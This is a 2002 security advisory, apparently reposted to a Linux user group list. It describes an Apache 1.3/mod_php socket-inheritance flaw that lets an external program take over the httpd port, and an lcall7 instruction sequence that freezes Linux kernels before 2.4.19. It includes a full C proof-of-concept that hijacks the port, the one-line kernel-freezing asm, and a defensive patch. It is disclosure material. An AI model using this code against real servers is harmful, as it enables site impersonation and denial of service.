[LUG-Ischia] Apache 1.3/mod_php (safe_mode off)

[Giovanni Coppa]

Systems affected:
Apache 1.3/mod_php (safe_mode off)
linux kernel < 2.4.19 (different issue)

Risk: Very Low
Date: 6 November 2002

Legal Notice:
This Advisory is Copyright (c) 2002 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission - this especially applies 
to
so called "vulnerabilities databases".
If you want to link to this content use the URL:
http://www.guninski.com/php1.html
Anything in this document may change without notice.

Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or  indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

Description:
I. If a user can execute external programs from mod_php/Apache 1.3 and
safe_mode is off, then he can take over the httpd port in at least 50%
   of the cases. This may lead to emulating the whole apache server - 
to a
visitor the whole apache server seems under the attacker's control.
Won't be suprised if A$P is also affected from similar attack - check
handles to device\*.

II. It is possible to lock linux kernel < 2.4.19 with the help of 
lcall7
and the TF. Note: While I discovered this independently, credit for 
this
should go to someone else - check
http://www.thefreeworld.net/non-US/
kernel-2.4.19-sec

Details:

I. When mod_php launches an external application, it inherits the open
listening httpd socket. With the help of fork(), dup() close() and 
accept(),
external application may turn itself into listening httpd server. Check 
[1]
for a demo. The C proggie must be called from mod_php.
This may have impact on providers hosting mod_php or in
combination with a bug which executes php code.

II. The following asm freezes kernel < 2.4.19
#define MSUX "mov $0x100,%eax\npushl %eax\nmov $0x1,%eax\npopfl\nlcall 
$7,$0"


Workaround/Solution:
I. turn "safe_mode" in php.ini to "on" or try the following unofficial 
patch,
which works for me, but comes with no warranty - it makes the listening
socket "close on exec" in apache:
----------------------------------------
   The following patch works for me on linux (for apache 1.3.26/Linux):

*** src/main/http_main.c.old    Sun Oct 20 14:13:47 2002
--- src/main/http_main.c        Sun Oct 20 14:44:18 2002
*************** static int make_sock(pool *p, const stru
*** 3784,3792 ****
--- 3784,3795 ----
           GETPRIVMODE();
     #endif

+ if (fcntl(s,F_SETFD,FD_CLOEXEC)== -1) ap_log_error(APLOG_MARK, 
APLOG_CRIT,
   server_conf, "make_sock: could not do F_SETFD");
         if (bind(s, (struct sockaddr *) server, sizeof(struct 
sockaddr_in)) == 
-1) {
           ap_log_error(APLOG_MARK, APLOG_CRIT, server_conf,
                "make_sock: could not bind to %s", addr);
+ // by georgi
+
     #ifdef MPE
           if (ntohs(server->sin_port) < 1024)
               GETUSERMODE();
------------------------------------
II. linux kernel 2.4.19 is not vulnerable, update to it.


Vendor status:
I. Apache and php were notified on Tue, 15 Oct 2002 18:16:40 +0300
The Apache guys seem to prepare a fix. The php guys replied this is 
known
for ages but did not provide reference for the claims.
II. This is fixed in 2.4.19 and credit should go to someone else.

References

[1]
----tcp4.c----
/*	TCP Example code by Kien Pham (Heavily documented to help others 
understand.)
	This code is now in Public Domain.
	Look ma, I did this all by myself.	*/

/*
This proggie was taken somewhere from the net as a socket example
Changed a little for interaction with mod_php -- georgi
*/

#include<sys/socket.h>	// Include these for socket(), connect(), 
bind(), etc.
#include<sys/types.h>
#include<netdb.h>		// Include this for getprotobyname()
#include<string.h>	// Include this for memset()
#include<netinet/in.h>	// Include this for htonl(), htons(), etc.
#include<unistd.h>

#define	PORT	2000

#define THEFD	16

#define INSIZE 20000

void	servermsux()
	{
	 // Variables for the server component of the application.

	 int file_descriptor;	// File descriptor that represents the server 
socket.
	 struct	sockaddr_in	server_address;	// Really only contains the port 
we want to
listen on.
	 int	inbound_connection;	// File descriptor that represents the socket 
of the
inbound connection.
	 struct	sockaddr_in	inbound_address;	// Address of the inbound 
connection.
	 int	inbound_address_size;	// Size of the structure for the inbound 
connection.
	 unsigned	char	*address_holder;	// Pointer to simplify the extraction 
of IP
addresses.
	 char	message[]="HTTP/1.1 200 OK\nContent-Type: text/html\n\n"
		"<h1>Hi<br>MSUX</h1>";	// Constant string to send to the client.
	 char	buffer[INSIZE];		// Buffer to hold incoming data from the 
client.

	 // Code for the server component begins here.

	file_descriptor=dup(THEFD);

	 if	(file_descriptor<0)	// Check to see if there was a failure in 
allocation.
		{
		 perror("Server: socket()");
		 return;
		}
	if (close(THEFD) == -1) {perror("close");return; };
	close(1);close(3);	
while(42)
{
	 memset((void*)&inbound_address, 0, sizeof(inbound_address));
	 inbound_address.sin_family=AF_INET;
	 inbound_address_size=sizeof(inbound_address);	// Make sure you do 
this, or the
inbound_address will not be filled with information about the incomming 
address.
	 inbound_connection=accept(file_descriptor, (struct
sockaddr*)&inbound_address, &inbound_address_size);	// Grab the first 
socket
that represents the client that has connected. If none yet, block and 
wait till
somebody does.
	 if	(inbound_connection<0)
		{
		 perror("2 accept()");
		 return;
		}
	 address_holder=(unsigned char*)&inbound_address.sin_addr.s_addr; // 
Save
ourselves a call to the OS to convert.
	
	 if	(read(inbound_connection, buffer, INSIZE)<0)	// Read from the 
client.
		{
		 perror("2 Server: read()");
		 return;
		}

	 if	(write(inbound_connection, message, sizeof(message))<0)	// Write 
the
message to the client.
		{
		 perror("2 Server: write()");
		 return;
		}
	 close(inbound_connection);	// Tell the OS to clean up and free 
resources that
we have used.
} //while
	 close(file_descriptor);
	}


int	main(void)
	{
	 printf("\n2 TCP Networking Injection Example\n");
//	 printf("Written by Kien Pham\n");
//	 printf("For the Networking mini-Tutorial 
(http://www.tripod.com/~Xengren)\n");
	 if	(!fork())	
		servermsux();

	}

----end-------